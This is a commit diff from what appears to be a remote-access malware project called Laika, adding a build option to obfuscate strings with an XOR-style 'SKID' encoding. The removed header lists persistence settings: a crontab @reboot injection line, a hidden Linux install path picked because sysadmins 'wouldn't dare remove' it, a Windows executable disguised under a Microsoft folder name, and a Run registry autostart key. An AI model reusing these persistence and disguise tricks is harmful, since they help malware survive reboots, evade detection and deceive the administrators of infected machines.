added 'LAIKA_OBFUSCATE' cmake option

- if defined, enables LAIKA_BOX obfuscation for variables
- new macros (LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END), become no-ops if LAIKA_OBFUSCATE is undefined
- TODO: use cmake to automate the generation of lboxconfig.h

tools/vmboxgen/src/boxstrings.h

@@ -1,29 +0,0 @@
-#ifndef LAIKA_BOXGEN_STRING_H
-#define LAIKA_BOXGEN_STRING_H
-
-/* =============================================[[ Linux Strings ]]============================================== */
-
-/*      we want a semi-random file lock that is stable between similar builds,
-*   so we use the GIT_VERSION as our file lock :D */
-#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
-
-/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
-#define LAIKA_LIN_INSTALL_DIR ".sys"
-#define LAIKA_LIN_INSTALL_FILE ".update"
-
-#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
-
-/* ============================================[[ Windows Strings ]]============================================= */
-
-/*      we want a semi-random mutex that is stable between similar builds,
-*   so we use the GIT_VERSION as our mutex :D */
-#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
-
-/* looks official enough */
-#define LAIKA_WIN_INSTALL_DIR "Microsoft"
-#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
-
-#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
-#define LAIKA_WIN_REG_VAL "UserServiceController"
-
-#endif

tools/vmboxgen/src/main.c

@@ -8,8 +8,6 @@
 #include "lbox.h"
 #include "lsodium.h"
 
-#include "boxstrings.h"
-
 #define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
 #define RANDBYTE (rand() % UINT8_MAX)
 
@@ -58,8 +56,8 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
 #define MAKESKIDDATA(macro) \
     key = RANDBYTE; \
     makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
-    writeDefineVal(out, #macro "_KEY", key); \
-    writeDefineArray(out, #macro "_DATA", tmpBuff);
+    writeDefineVal(out, "KEY_" #macro, key); \
+    writeDefineArray(out, "DATA_" #macro, tmpBuff);
 
 int main(int argv, char **argc) {
     uint8_t tmpBuff[LAIKA_VM_CODESIZE];